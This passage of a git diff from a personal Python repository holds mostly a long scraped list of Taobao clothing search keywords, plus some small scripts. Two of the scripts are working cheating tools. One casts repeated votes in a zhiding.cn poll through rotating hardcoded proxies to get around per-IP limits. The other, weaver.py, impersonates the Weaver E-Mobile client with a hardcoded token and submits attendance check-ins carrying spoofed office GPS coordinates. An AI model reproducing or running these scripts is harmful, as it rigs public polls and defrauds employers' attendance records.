'117.48.199.243:16818', + '43.226.164.66:16818', + '42.51.206.58:16818', + '120.25.71.27:16818', + '125.65.82.248:16818', + '120.24.68.197:16818', + '121.42.177.10:16818', +] +proxy_list.extend(get_proxy_list_nghuyong()) +proxy_list.extend(get_proxy_list_kuaidaili()) +# TODO add your proxies + +proxies_list = [ + { + 'http': 'http://%s' % proxy, + 'https': 'http://%s' % proxy, + } for proxy in proxy_list +] + + +def fuck(): + """ + 投票入口(默认华云),想什么呢,当然是投华云! + :return: + """ + c_vote_ok = 0 + c_vote_er = 0 + c_proxy_er = 0 + user_agent = random.choice(user_agent_list) + for proxies in proxies_list: + try: + cookies = { + } + s = requests.session() + headers = { + 'User-Agent': user_agent, + 'X-Requested-With': 'XMLHttpRequest', + } + list_url = 'http://www.zhiding.cn/vote/cloud?nomobile=&from=singlemessage&isappinstalled=0' + vote_url = 'http://www.zhiding.cn/vote/cloud/action' + data = { + 'ajax': 'true', + 'opid': 45, + } + + request_headers = headers.copy() + request_headers['Host'] = 'www.zhiding.cn' + request_headers['Origin'] = 'http://www.zhiding.cn' + + request_cookie = cookies.copy() + + list_res = s.get( + list_url, + headers=request_headers, + cookies=request_cookie, + proxies=proxies, + timeout=REQUESTS_TIME_OUT, + ) + if list_res.status_code != 200: + print('代理失效') + c_proxy_er += 1 + continue + + request_headers['Referer'] = 'http://www.zhiding.cn/vote/cloud?nomobile=&from=singlemessage&isappinstalled=0' + + request_cookie.update(list_res.cookies) + + res = s.post( + vote_url, + data=data, + headers=request_headers, + cookies=request_cookie, + proxies=proxies, + timeout=REQUESTS_TIME_OUT, + ) + if list_res.status_code != 200: + print('代理失效') + c_proxy_er += 1 + continue + + result = res.json() + if result.get('code') == 10000: + print('投票成功, 票数: %s' % result.get('msg')) + c_vote_ok += 1 + elif result.get('code') == 10001: + print('投票失败, 原因: %s' % '投票次数用完') + c_vote_er += 1 + elif result.get('code') == 10002: + print('投票失败, 原因: %s' % result.get('msg')) + c_vote_er += 1 + else: + print(json.dumps(result, indent=4, ensure_ascii=False)) + c_vote_er += 1 + except (ConnectTimeout, ReadTimeout, ConnectionError): + print('代理失效') + c_proxy_er += 1 + except Exception as e: + print(e.message) + c_vote_er += 1 + print('刷票成功: %s' % c_vote_ok) + print('刷票失败: %s' % c_vote_er) + print('代理失效: %s' % c_proxy_er) + print('-'*12) + print('暴力刷票: %s' % (c_vote_ok + c_vote_er + c_proxy_er)) + + +if __name__ == '__main__': + fuck() diff --git a/fuck/weaver.py b/fuck/weaver.py new file mode 100644 index 0000000..a4e0e9a --- /dev/null +++ b/fuck/weaver.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: weaver.py +@time: 2019-02-19 17:50 +""" + +from __future__ import print_function +from __future__ import unicode_literals + +import json +import time +import uuid +from urllib import urlencode + +import requests + +# from future.moves.urllib.parse import urlencode + + +REQUESTS_TIME_OUT = (30, 30) + +s = requests.session() + + +class WeaverClient(object): + """ + 泛微打卡神器 + """ + headers = { + 'User-Agent': 'E-MobileE-Mobile 6.5.68 (iPhone; iOS 12.1.2; zh_CN)', + 'Host': '120.132.31.218:89', + 'Timezone': 'GMT+8', + 'Accept-Encoding': 'gzip', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json;charset=UTF-8', + } + + host = 'http://120.132.31.218:89' + jession_id = '' + session_key = '' + udid = '' + user_id = '' + user_key = '' + sign_status = 'checkin' # 打卡类型: 默认签到(checkout 签退) + + token = '3eef8a67907788cbd45266ad4921d7d1802b1cd8fd4db00cd55516d8a5b38d13' + client_user_id = '191e35f7e01b0dacefa' + + # 上海办公室坐标 + longitude = '31.30899441189236,121.5098819986979' # 纬度,经度 + addr = '上海市杨浦区政立路靠近中航天盛广场' # 地址 + + login_status = False + + def __init__(self, username, password): + self.username = username + self.password = password + self.udid = self.get_uuid() + + @staticmethod + def get_uuid(): + return str(uuid.uuid4()).upper() + + def get_config(self): + url = '%s/client.do' % self.host + params = { + "method": "getconfig", + "clientver": "6.5.68", + "clienttype": "iPhone", + "language": "zh-Hans", + "country": "CN", + } + request_headers = self.headers.copy() + res = s.get(url, params=params, headers=request_headers, timeout=REQUESTS_TIME_OUT) + print(res.status_code) + print(json.dumps(res.json(), indent=4, ensure_ascii=False)) + self.jession_id = res.cookies.get('JESSIONID') + + def login(self): + """ + 登录 + 错误消息 + { + "errorno": "111", + "error": "错误: 用户名或密码为空(111)" + } + """ + self.get_config() + + url = '%s/client.do' % self.host + params = { + "method": "login", + "udid": self.udid, + "token": self.token, + "language": "zh-Hans", + "country": "CN", + "isneedmoulds": "1", + "clienttype": "iPhone", + "clientver": "6.5.68", + "clientos": "iOS", + "clientosver": "12.1.2", + "authcode": "", + "dynapass": "", + "tokenpass": "", + "clientChannelId": "", + "clientuserid": self.client_user_id, + } + + url = '?'.join([url, urlencode(params)]) + print(url) + payload = { + "loginid": self.username, + "password": self.password, + "isFromSunEmobile": 1, + } + print(payload) + request_headers = self.headers.copy() + request_headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=utf-8' + + res = s.post(url, data=payload, headers=request_headers, timeout=REQUESTS_TIME_OUT) + if res.status_code == 200: + data = res.json() + print(json.dumps(data, indent=4, ensure_ascii=False)) + self.session_key = data['sessionkey'] + + # 提取cookies + self.user_id = res.cookies.get('userid') + self.user_key = res.cookies.get('userKey') + self.jession_id = res.cookies.get('JESSIONID') + + if data.get('error'): + return False + + self.login_status = True + return True + else: + print(res.status_code) + print(res.content) + return False + + def get_status(self): + """ + 检查打卡状况 + """ + url = '%s/client.do' % self.host + params = { + 'method': 'checkin', + 'type': 'getStatus', + 'sessionkey': self.session_key, + } + request_headers = self.headers.copy() + res = s.get(url, params=params, headers=request_headers, timeout=REQUESTS_TIME_OUT) + data = res.json() + print(json.dumps(data, indent=4, ensure_ascii=False)) + + def fuck(self): + """ + 打卡 + 正确消息 + { + "msg": "如因工作原因迟到或早退请提交相应流程,签到(签退)时间:2019-02-19 18:15:28", + "result": "success" + } + 错误消息 + { + "errorno": "005", + "error": "错误: 当前用户信息无效,请重新登录(005)" + } + """ + url = '%s/client.do' % self.host + + request_headers = self.headers.copy() + + current_time = time.strftime("%H%M") + self.sign_status = 'checkout' if current_time >= '1826' else self.sign_status + + params = { + "method": "checkin", + "type": self.sign_status, + "latlng": self.longitude, # 纬度,经度 + "addr": self.addr, # 地址 + "sessionkey": self.session_key, + "wifiMac": "", + } + + res = s.get(url, params=params, headers=request_headers, timeout=REQUESTS_TIME_OUT) + print(res.status_code) + print(json.dumps(res.json(), indent=4, ensure_ascii=False)) + + +if __name__ == '__main__': + # 打卡 + weaver_client = WeaverClient( + username='xxxxxx', + password='xxxxxx', + ) + weaver_client.login() + weaver_client.fuck() + weaver_client.get_status() diff --git a/fuck/weibo.py b/fuck/weibo.py new file mode 100644 index 0000000..4af05d4 --- /dev/null +++ b/fuck/weibo.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: weibo.py +@time: 2017/11/16 下午7:55 +""" + + +def func(): + pass + + +class Main(object): + def __init__(self): + pass + + +if __name__ == '__main__': + pass diff --git a/multiplication.py b/multiplication.py new file mode 100644 index 0000000..52e5647 --- /dev/null +++ b/multiplication.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: multiplication.py +@time: 2017/8/26 下午10:59 +""" + + +# 乘法口诀 +print("\n".join([' '.join(["%d*%d=%-2d " % (y, x, x*y) for y in range(1, x+1)]) for x in range(1, 10)])) + + +if __name__ == '__main__': + pass + + +""" +1*1=1 +1*2=2 2*2=4 +1*3=3 2*3=6 3*3=9 +1*4=4 2*4=8 3*4=12 4*4=16 +1*5=5 2*5=10 3*5=15 4*5=20 5*5=25 +1*6=6 2*6=12 3*6=18 4*6=24 5*6=30 6*6=36 +1*7=7 2*7=14 3*7=21 4*7=28 5*7=35 6*7=42 7*7=49 +1*8=8 2*8=16 3*8=24 4*8=32 5*8=40 6*8=48 7*8=56 8*8=64 +1*9=9 2*9=18 3*9=27 4*9=36 5*9=45 6*9=54 7*9=63 8*9=72 9*9=81 +""" + + +""" +过程分析: + +[(y, x) for y in range(1, x+1) for x in range(1, 10)] + +[[(y, x) for y in range(1, x+1)] for x in range(1, 10)] +""" diff --git a/socket/tcp/client.py b/socket/tcp/client.py index 0c8918d..9a847f3 100644 --- a/socket/tcp/client.py +++ b/socket/tcp/client.py @@ -11,9 +11,11 @@ class TcpClient: PORT = 1122 BUFSIZ = 1024 ADDR = (HOST, PORT) + LOCAL_ADDR = ('', 2225) def __init__(self): self.client = socket(AF_INET, SOCK_STREAM) + # self.client.bind(self.LOCAL_ADDR) # 绑定本地端口,可选 self.client.connect(self.ADDR) while True: diff --git "a/static/taobao/keywords_visited_list_\345\245\263\350\243\205.json" "b/static/taobao/keywords_visited_list_\345\245\263\350\243\205.json" new file mode 100644 index 0000000..5302825 --- /dev/null +++ "b/static/taobao/keywords_visited_list_\345\245\263\350\243\205.json" @@ -0,0 +1,7540 @@ +[ + "女装", + "女装秋装2016新款潮", + "女装外套", + "女装秋", + "女装秋装外套", + "女装上衣", + "女装外套秋冬", + "女装秋装2016新款上衣", + "女装套装", + "女装秋冬", + "女装连衣裙", + "女装秋装2016新款潮胖mm", + "女装秋装2016新款潮韩", + "女装秋装2016新款潮40岁", + "女装秋装2016新款潮30岁", + "女装秋装2016新款潮套25", + "女装秋装2016新款潮套24", + "女装秋装2016新款潮 t恤", + "女装秋装2016新款潮套18", + "女装秋装2016新款潮裙", + "女装秋装2016新款潮韩40", + "女装外套春秋", + "女装外套秋装2016新款", + "女装外套秋", + "女装外套中长款", + "女装外套冬", + "女装外套春秋 长袖", + "女装外套短款", + "女装外套春秋休闲百搭", + "女装外套春秋 学生", + "女装秋装", + "女装秋装连衣裙", + "女装秋冬外套", + "女装秋装2016新款", + "女装秋装套装", + "女装秋装外套中长款", + "女装秋装外套短款", + "女装秋装外套韩版学生", + "女装秋装外套30岁35岁", + "女装秋装外套40-50岁", + "女装秋装外套风衣", + "女装秋装外套学生", + "女装秋装外套韩版", + "女装秋装外套中长款韩", + "女装秋装外套2016新款", + "女装上衣长袖", + "女装上衣秋装", + "女装上衣 打底衫", + "女装上衣 外套", + "女装上衣 针织衫", + "女装上衣长袖 中长款", + "女装上衣短袖", + "女装上衣 中长款", + "女装上衣长袖学生韩版", + "女装上衣宽松", + "女装外套秋冬中长款", + "女装外套秋冬2016新款", + "女装外套秋冬风衣", + "女装外套秋冬毛呢", + "女装外套秋冬加厚长款", + "女装外套秋冬学生", + "女装外套秋冬款韩版潮", + "女装外套秋冬夹克", + "女装外套秋冬款", + "女装外套秋冬短", + "女装秋装2016新款上衣40", + "女装秋装2016新款上衣30", + "女装秋装2016新款上衣25", + "女装秋装2016新款上衣50", + "女装秋装2016新款上衣35", + "女装秋装2016新款上衣20", + "女装秋装2016新款上衣18", + "女装秋装2016新款上衣v", + "女装秋装2016新款上衣24", + "女装秋装2016新款上衣pu", + "女装套装秋", + "女装套装秋装时尚气质", + "女装套装 18-24周岁", + "女装套装冬装", + "女装套装裙秋", + "女装套装秋装 两件套", + "女装套装夏", + "女装套装秋季新款2016", + "女装套装 18-25周岁", + "女装套装秋款套裙", + "女装秋冬连衣裙", + "女装秋冬装2016新款潮", + "女装秋冬上衣", + "女装秋冬打底衫", + "女装秋冬外套中长款", + "女装秋冬裙", + "女装秋冬新品", + "女装秋冬装2016新款", + "女装秋冬外套韩版", + "女装连衣裙秋2016新款", + "女装连衣裙秋季款2016", + "女装连衣裙秋", + "女装连衣裙 长袖", + "女装连衣裙胖mm纯棉", + "女装连衣裙夏", + "女装连衣裙两件套", + "女装连衣裙 大码", + "女装连衣裙 中长款", + "女装连衣裙a字裙中裙", + "女装2016新款潮胖mm秋装", + "2016胖mm秋装新款女装潮", + "胖mm女装秋装2016新款潮", + "女装胖mm2016新款潮秋装", + "女装秋装胖mm2016新款潮", + "胖mm2016秋装新款女装潮", + "女装胖mm2016秋装新款潮", + "2016秋装新款女装胖mm潮", + "胖mm女装2016新款潮秋装", + "秋装女装2016新款潮胖mm", + "女装秋装2016新款潮韩20", + "女装秋装2016新款潮韩30", + "女装秋装2016新款潮韩25", + "女装秋装2016新款潮韩35", + "女装秋装2016新款潮韩24", + "女装秋装2016新款潮韩18", + "女装秋装2016新款潮韩50", + "女装秋装2016新款潮韩ol", + "女装秋装2016新款潮韩a", + "40岁女装秋装2016新款潮", + "秋装新款女装2016潮40岁", + "40岁秋装新款女装2016潮", + "女装40岁秋装2016新款潮", + "2016秋装新款女装潮40岁", + "女装秋装40岁2016新款潮", + "40岁潮女装秋装2016新款", + "2016新款女装秋装40岁潮", + "秋装2016新款女装潮40岁", + "秋装40岁女装2016新款潮", + "30岁秋装新款女装2016潮", + "30岁女装秋装2016新款潮", + "女装装2016新款潮秋30岁", + "女装30岁秋装2016新款潮", + "2016秋装新款女装潮30岁", + "秋装新款女装2016潮30岁", + "秋装30岁女装2016新款潮", + "岁30潮新款2016秋装女装", + "2016新款潮秋装女装30岁", + "女装秋装30岁2016新款潮", + "2016秋装新款女装潮套25", + "25女装秋装2016新款潮套", + "女装秋装套2016新款潮25", + "女装装2016新款潮套秋25", + "2016秋装新款女装套潮25", + "女装套秋装2016新款潮25", + "新款秋装女装潮2016套25", + "女装秋装2016新款潮25套", + "套女装秋装2016新款潮25", + "24女装秋装2016新款潮套", + "2016秋装新款女装潮套24", + "女装装2016新款潮套秋24", + "t恤女装秋装2016新款潮t", + "女装v秋装2016新款t恤潮", + "女装秋装2016新款t恤潮", + "2016秋装新款女装潮.t恤", + "女装秋装t恤2016新款潮m", + "t恤女装秋装2016新款潮s", + "女装秋装2016新款长t恤潮", + "女装秋装2016新款潮t恤裙", + "2016秋装新款女装t恤长潮", + "女装秋装2016新款t恤潮韩", + "2016秋装新款女装潮套18", + "套女装秋装2016新款潮18", + "女装套秋装2016新款潮18", + "18女装秋装2016新款潮套", + "女装装2016新款潮套秋18", + "新款秋装女装潮2016套18", + "女装秋装2016新款潮裙20", + "女装秋装2016新款潮裙25", + "女装秋装2016新款潮裙v", + "女装秋装2016新款潮裙35", + "女装秋装2016新款潮裙50", + "女装秋装2016新款潮裙40", + "女装秋装2016新款潮裙28", + "女装秋装2016新款潮裙30", + "女装秋装2016新款潮裙子", + "女装秋装2016新款潮裙子长", + "女装韩秋装2016新款潮40", + "女装秋装2016新款潮40韩", + "新款秋装女装潮2016韩40", + "新款秋装40女装潮2016韩", + "女装装2016新款潮秋韩40", + "女装2016秋装新款潮韩40", + "女装外套春秋2016新款", + "女装外套春秋 妈妈装", + "女装外套春秋短款", + "女装外套春秋2016韩版", + "女装外套春秋 长袖2016", + "女装外套春秋 中长款", + "女装外套春秋 显瘦", + "女装外套秋装2016新款25", + "女装外套秋装2016新款35", + "女装外套秋装2016新款30", + "女装外套秋装2016新款ol", + "女装外套秋装2016新款学生", + "女装外套秋装2016新款潮", + "女装外套秋装2016新款长款", + "女装外套秋装2016新款短款", + "女装外套秋装2016新款风衣", + "女装外套秋装2016新款显瘦", + "女装外套秋装", + "女装外套中长款韩版", + "女装外套中长款加厚", + "女装外套中长款毛呢", + "女装外套中长款秋季", + "女装外套中长款冬", + "女装外套中长款时尚", + "女装外套中长款冬毛呢", + "女装外套中长款双排扣", + "女装外套中长款风衣", + "女装外套中长款学生", + "女装外套冬装", + "女装外套冬装韩版", + "女装外套冬厚", + "女装外套冬棉", + "女装外套冬季新款潮流", + "女装外套冬装2016新款", + "女装外套冬中长款薄", + "女装外套冬装 妈妈装", + "女装外套冬2016新款", + "女装外套冬中长款", + "女装外套春秋 长袖30岁", + "女装外套春秋 长袖40岁", + "女装外套春秋 长袖 薄", + "女装外套春秋 长袖35岁", + "女装外套春秋 长袖25岁", + "女装外套春秋 长袖20岁", + "女装外套春秋 长袖 中长款", + "女装外套春秋 长袖 短款", + "女装外套春秋 长袖学生", + "女装外套短款 上衣", + "女装外套短款秋2016潮", + "女装外套短款加绒", + "女装外套短款厚", + "女装外套短款风衣", + "女装外套短款中年", + "女装外套短款秋冬", + "女装外套短款冬2016潮", + "女装外套短款宽松", + "女装外套短款2016", + "女装外套春秋休闲百搭学生", + "女装外套春秋休闲百搭中长款", + "女装外套春秋休闲百搭气质时尚", + "女装外套春秋休闲百搭少女", + "女装外套春秋休闲百搭妈妈", + "女装外套春秋休闲百搭 印花", + "女装外套春秋休闲百搭 风衣", + "女装外套春秋休闲百搭长款", + "女装外套春秋休闲百搭有领", + "女装外套春秋休闲百搭中年", + "女装外套春秋 学生14岁", + "女装外套春秋 学生13岁", + "女装外套春秋 学生15", + "女装外套春秋 学生原宿", + "女装外套春秋 学生 中长款", + "女装外套春秋 学生带帽", + "女装外套春秋 学生运动款", + "女装外套春秋 学生休闲短款", + "女装外套春秋 学生牛仔", + "女装外套春秋 学生百搭", + "女装秋装连衣裙两件套", + "女装秋装连衣裙30-40岁", + "女装秋装连衣裙20-30岁", + "女装秋装连衣裙 长袖", + "女装秋装连衣裙修身", + "女装秋装连衣裙中长款", + "女装秋装连衣裙欧美", + "女装秋装连衣裙长款", + "女装秋装连衣裙韩版", + "女装秋装连衣裙20-30", + "女装秋冬外套修身", + "女装秋冬外套短款", + "女装秋冬外套短款加厚", + "女装秋冬外套中学生", + "女装秋冬外套 卫衣", + "女装秋冬外套学生", + "女装秋冬外套风衣", + "女装秋冬外套毛呢", + "女装秋装2016新款套装", + "女装秋装套装2016新款", + "女装秋装套装 两件套", + "女装秋装套装时尚气质", + "女装秋装套装两件套裙", + "女装秋装套装裙", + "女装秋装套装裙两件套", + "女装秋装套装上衣裤子", + "女装秋装套装 三件套", + "女装秋装套装时装", + "女装秋装套装韩版", + "女装秋装外套中长款厚", + "女装秋装外套中长款薄", + "女装秋装外套中长款潮", + "女装秋装外套中长款bf", + "女装秋装外套中长款20", + "女装秋装外套中长款4xl", + "女装秋装外套中长款ol", + "女装秋装外套中长款24", + "女装秋装外套中长款修身风衣", + "女装秋装外套短款休闲", + "女装秋装外套短款风衣", + "女装秋装外套短款开衫", + "女装秋装外套短款韩版", + "女装秋装外套短款上衣", + "女装秋装外套短款30-40", + "女装秋装外套短款夹克", + "女装秋装外套短款修身", + "女装秋装外套短款拼色", + "女装秋装外套短款带帽", + "女装秋装外套韩版学生中长款", + "女装秋装外套韩版学生加厚", + "女装秋装外套韩版学生宽松", + "女装秋装外套韩版学生潮", + "女装秋装外套韩版学生 厚", + "女装秋装外套韩版学生卫衣", + "女装秋装外套韩版学生运动款", + "女装秋装外套韩版学生中款", + "女装秋装外套韩版学生潮 厚", + "女装秋装外套韩版学生 牛仔衣", + "女装秋装外套30岁35岁韩版", + "女装秋装外套30岁35岁上衣", + "女装秋装外套30岁35岁风衣", + "女装秋装外套30岁35岁卫衣", + "女装秋装外套30岁35岁毛衣", + "女装秋装外套30岁35岁厚", + "女装秋装外套30岁35岁妈", + "女装秋装外套30岁35岁短款", + "女装秋装外套30岁35岁妈妈", + "女装秋装外套30岁35岁长款", + "女装秋装外套40-50岁薄款", + "女装秋装外套40-50岁长款", + "女装秋装外套40-50岁新款", + "女装秋装外套40-50岁皮衣", + "女装秋装外套40-50岁加肥", + "女装秋装外套40-50岁毛呢", + "女装秋装外套40-50岁针织", + "女装秋装外套40-50岁休闲", + "40到50岁女装秋装外套", + "中女装秋装40/50岁外套", + "女装秋装外套风衣韩版", + "女装秋装外套风衣气质", + "女装秋装外套风衣短款", + "女装秋装外套风衣长款", + "女装秋装外套风衣简约", + "女装秋装外套风衣修身", + "女装秋装外套风衣大码", + "女装秋装外套风衣新款", + "女装秋装外套风衣厚", + "女装秋装外套风衣学生", + "女装秋装外套学生宽松", + "女装秋装外套学生13岁", + "女装秋装外套学生韩版", + "女装秋装外套学生可爱", + "女装秋装外套学生装", + "女装秋装外套学生牛仔", + "女装秋装外套学生加棉", + "女装秋装外套学生卡通", + "女装秋装外套学生森女", + "女装秋装外套学生15", + "女装秋装外套韩版潮", + "女装秋装外套韩版30-40", + "女装秋装外套韩版风衣", + "女装秋装外套韩版短款", + "女装秋装外套韩版加厚", + "女装秋装外套韩版少女", + "女装秋装外套韩版宽松", + "女装秋装外套韩版潮bf", + "女装秋装外套韩版带帽", + "女装秋装外套中长款韩格子", + "女装秋装外套中长款韩学生", + "女装秋装外套中长款韩 加厚", + "女装秋装外套中长款韩版毛衣", + "女装秋装外套中长款韩版", + "女装秋装外套中长款韩卫衣", + "女装秋装外套中长款韩新版", + "女装秋装外套中长款韩花", + "女装秋装外套中长款韩明星同款", + "女装秋装风衣外套中长款韩", + "女装秋装外套2016新款30", + "女装秋装外套2016新款pu", + "女装秋装外套2016新款25", + "女装秋装外套2016新款35", + "女装秋装外套2016新款潮韩", + "女装秋装外套2016新款上衣", + "女装秋装外套2016新款学生", + "女装秋装外套2016新款潮裙", + "女装秋装外套2016新款潮套", + "女装秋装外套2016新款大码", + "女装上衣长袖雪纺衫", + "女装上衣长袖 显瘦", + "女装上衣长袖 短款", + "女装上衣长袖 衬衫", + "女装上衣长袖秋2016", + "女装上衣长袖修身", + "女装上衣长袖宽松版", + "女装上衣长袖 学生", + "女装上衣秋装韩版潮", + "女装上衣秋装外套", + "女装上衣秋装学生", + "女装上衣秋装长袖", + "女装上衣秋装18-25岁", + "女装上衣秋装大码", + "女装上衣秋装衬衫长款", + "女装上衣秋装衬衫", + "女装上衣秋装短款", + "女装上衣秋装白色", + "女装上衣 打底衫秋冬", + "女装上衣 打底衫冬", + "女装上衣 打底衫长袖", + "女装上衣 打底衫 修身", + "女装上衣 打底衫短款", + "女装上衣 打底衫纯棉", + "女装上衣 打底衫 精品", + "女装上衣 打底衫加绒", + "女装上衣 打底衫加厚", + "女装上衣 打底衫冬长", + "女装上衣 外套 中长款", + "女装上衣 外套 显瘦", + "女装上衣 外套 休闲", + "女装上衣 外套 初中", + "女装上衣 外套 秋季", + "女装上衣 外套 开衫", + "女装上衣 外套 韩版", + "女装上衣 外套 学生", + "女装上衣 外套夹克", + "女装上衣 外套秋", + "女装上衣 针织衫镂空", + "女装上衣 针织衫长袖", + "女装上衣 针织衫 套头", + "女装上衣 针织衫 宽松", + "女装上衣 针织衫 收腰", + "女装上衣 针织衫学生", + "女装上衣 针织衫 显瘦", + "女装上衣 针织衫夏装", + "女装上衣 针织衫 开衫", + "女装上衣 针织衫冬季", + "女装上衣长袖 中长款35", + "女装上衣长袖 中长款毛呢", + "女装上衣长袖 中长款外套", + "女装上衣长袖 中长款 韩版", + "女装上衣长袖 中长款 毛衣", + "女装上衣长袖 中长款针织", + "女装上衣长袖 中长款加厚", + "女装上衣长袖 中长款 t恤", + "女装上衣长袖 中长款秋", + "女装上衣长袖 中长款学生", + "女装上衣短袖 修身", + "女装上衣短袖大码", + "女装上衣短袖雪纺", + "女装上衣短袖破洞", + "女装上衣短袖 宽松", + "女装上衣短袖破洞大码", + "女装上衣短袖黑色", + "女装上衣短袖宽松破洞", + "女装上衣短袖 军色", + "女装上衣短袖中长款", + "女装上衣 中长款胖mm", + "女装上衣 中长款外套", + "女装上衣 中长款 秋季", + "女装上衣 中长款秋冬", + "女装上衣 中长款 宽松", + "女装上衣 中长款保暖", + "女装上衣 中长款 显瘦", + "女装上衣 中长款冬秋", + "女装上衣 中长款冬", + "女装上衣 中长款 长袖", + "女装上衣长袖学生韩版秋翻领", + "女装上衣长袖学生韩版显瘦", + "女装上衣长袖学生韩版蓝色", + "女装上衣长袖学生韩版薄", + "秋季女装上衣韩版长袖学生宽松", + "韩版休闲学生女装长袖上衣潮", + "女装秋装新款上衣长袖韩版学生", + "秋季女装上衣长袖韩版学生卫衣", + "秋季女装学生上衣长袖韩版百搭", + "秋季女装上衣长袖学生韩版毛衣", + "女装上衣宽松中长版", + "女装上衣宽松长袖", + "女装上衣宽松秋", + "女装上衣宽松秋冬", + "女装上衣宽松长袖亮片", + "女装上衣宽松雪纺", + "女装上衣宽松加绒加厚", + "女装上衣宽松 大码", + "女装上衣宽松衬衣", + "女装上衣宽松长袖秋冬", + "女装外套秋冬中长款秋", + "女装外套秋冬中长款xxxl", + "女装外套秋冬中长款呢子", + "女装外套秋冬中长款 学生风衣", + "女装外套秋冬中长款遮肚子", + "女装外套秋冬中长款宽松", + "女装外套秋冬中长款韩版", + "女装外套秋冬中长款 学生", + "女装外套秋冬中长款毛呢韩版潮", + "女装外套秋冬中长款连帽", + "女装外套秋冬2016新款mm", + "女装外套秋冬2016新款25", + "女装外套秋冬2016新款韩版", + "女装外套秋冬2016新款潮", + "女装外套秋冬2016新款大码", + "女装外套秋冬2016新款针织", + "女装外套秋冬2016新款时尚", + "女装外套秋冬2016新款短款", + "2016秋冬新款女装 外套", + "秋冬女装外套2016新款", + "女装外套秋冬风衣厚", + "女装外套秋冬风衣短款", + "女装外套秋冬风衣中长款", + "女装外套秋冬风衣加厚原宿", + "女装外套秋冬风衣短款原宿", + "女装外套秋冬风衣2到30元", + "女装外套秋冬风衣加绒加厚", + "女装秋冬风衣外套", + "女装外套女秋冬风衣", + "妈妈女装秋冬外套风衣", + "女装外套秋冬毛呢短款", + "女装外套秋冬毛呢妈妈", + "女装外套秋冬毛呢红色", + "女装外套秋冬毛呢短装", + "女装外套秋冬毛呢18-28", + "女装外套秋冬毛呢修身版", + "女装外套秋冬毛呢25到29岁", + "秋冬女装外套毛呢大衣", + "秋冬毛呢外套女装", + "秋冬女装毛呢外套欧美", + "女装外套秋冬加厚长款修身", + "女装外套秋冬加厚长款新款", + "秋冬女装加厚外套长款", + "秋冬加厚外套长款女装", + "女装欧货秋冬长款加厚外套", + "女装秋冬新款加厚长款外套", + "女装外套秋冬学生短款", + "女装外套秋冬学生12", + "女装外套秋冬学生款", + "女装外套秋冬学生褂子", + "秋冬女装外套学生韩版", + "秋冬女装外套学生", + "秋冬女装学生新款外套", + "秋冬女装外套学生加厚", + "女装 秋冬 外套 学生", + "女装外套学生百搭秋冬", + "女装外套秋冬款韩版潮加绒加厚", + "女装外套秋冬款韩版潮中长", + "女装外套秋冬款韩版潮短款", + "秋冬款卫衣外套韩版潮女装", + "秋冬外套夹克韩版女装", + "秋冬女装夹克外套新", + "女装秋冬上衣夹克外套", + "女装 秋冬 夹克/外套", + "外套秋冬女装开衫夹克", + "卫衣夹克外套女装秋冬", + "秋冬女装夹克外套", + "秋冬新品外套夹克女装", + "女装外套夹克秋冬", + "秋冬夹克女装短外套", + "女装外套秋冬款中长款", + "女装外套秋冬款短款", + "女装外套秋冬款显瘦", + "女装外套秋冬款韩通勤", + "女装外套秋冬款2016", + "女装外套秋冬款2016新款", + "女装外套秋冬款2016韩版", + "女装外套秋冬短款休闲", + "女装外套秋冬短款时尚", + "女装外套秋冬短款皮衣", + "女装外套秋冬短款圆领", + "女装外套秋冬短复古", + "女装外套秋冬短厚款", + "女装外套秋冬短款妮子", + "女装外套秋冬短款百搭", + "女装外套秋冬短款原宿", + "女装外套秋冬短款收腰", + "女装秋装上衣2016新款40", + "40女装秋装2016新款上衣", + "30女装秋装2016新款上衣", + "女装秋装上衣2016新款25", + "女装上衣秋装2016新款25", + "35女装秋装2016新款上衣", + "2016秋装新款女装 上衣v", + "女装套装秋装", + "女装套装秋装韩版潮", + "女装套装秋装韩版", + "女装套装秋冬两件套", + "女装套装秋冬新款2016", + "女装套装秋装休闲", + "女装套装秋装时尚气质韩版", + "女装套装秋装时尚气质套裙", + "女装套装秋装时尚气质小香风", + "女装套装秋装时尚气质连衣裙", + "女装套装秋装时尚气质欧美", + "女装套装秋装时尚气质外套", + "女装套装秋装时尚气质迷彩服", + "女装套装秋装时尚气质针织", + "女装套装秋装时尚气质宽松", + "女装套装秋装时尚气质长袖", + "女装套装 18-24周岁秋装", + "女装套装 18-24周岁韩版", + "女装套装 18-24周岁套裙", + "女装套装 18-24周岁 秋", + "女装套装 18-24周岁潮秋", + "女装套装 18-24周岁时尚", + "女装套装 18-24周岁秋冬", + "女装套装 18-24周岁秋季", + "女装套装 18-24周岁冬", + "女装套装 18-24周岁短袖", + "女装套装冬装加绒加厚", + "女装套装冬装时尚气质", + "女装套装冬装三件套", + "女装套装冬装潮时尚", + "女装套装冬装职业", + "女装套装冬装西服", + "女装套装冬装毛衣", + "女装套装冬装工作", + "女装套装冬装 两件套", + "女装套装冬装 毛呢", + "女装套装裙秋大码长", + "女装套装裙秋装新款", + "女装套装裙秋冬", + "女装套装裙秋毛衣", + "女装套装裙秋冬款", + "女装套装裙秋冬职业装", + "女装套装裙秋 25-35周岁", + "女装套装裙秋背带", + "女装套装裙秋大码", + "女装套装裙秋明星同款", + "秋装女装套装两件套裙", + "秋装女装套装两件套", + "秋装女装套装两件套裤", + "秋装套装裙女装两件套", + "秋装女装套装裙两件套", + "秋装套装两件套女装", + "秋装套装女装裤两件套", + "套装两件套秋装女装裙", + "女装套装夏装", + "女装套装夏装时尚气质", + "女装套装夏2016新款", + "女装套装夏甜美", + "女装套装夏 民族风", + "女装套装夏2016新款裙", + "女装套装夏 韩范", + "女装套装夏韩版", + "女装套装夏甜美气质", + "女装套装夏女", + "女装套装秋季新款2016裙子", + "女装套装秋季新款2016线衫", + "女装套装秋季新款2016淑女", + "女装套装秋季新款2016包臀", + "女装套装 18-25周岁秋季", + "女装套装 18-25周岁时尚", + "女装套装 18-25周岁秋", + "女装套装 18-25周岁套裙", + "女装套装 18-25周岁韩版", + "女装套装 18-25周岁裙", + "女装套装 18-25周岁时装", + "女装套装 18-25周岁秋装", + "女装套装 18-25周岁冬季", + "女装套装 18-25周岁夏", + "女装套装秋款套裙针织", + 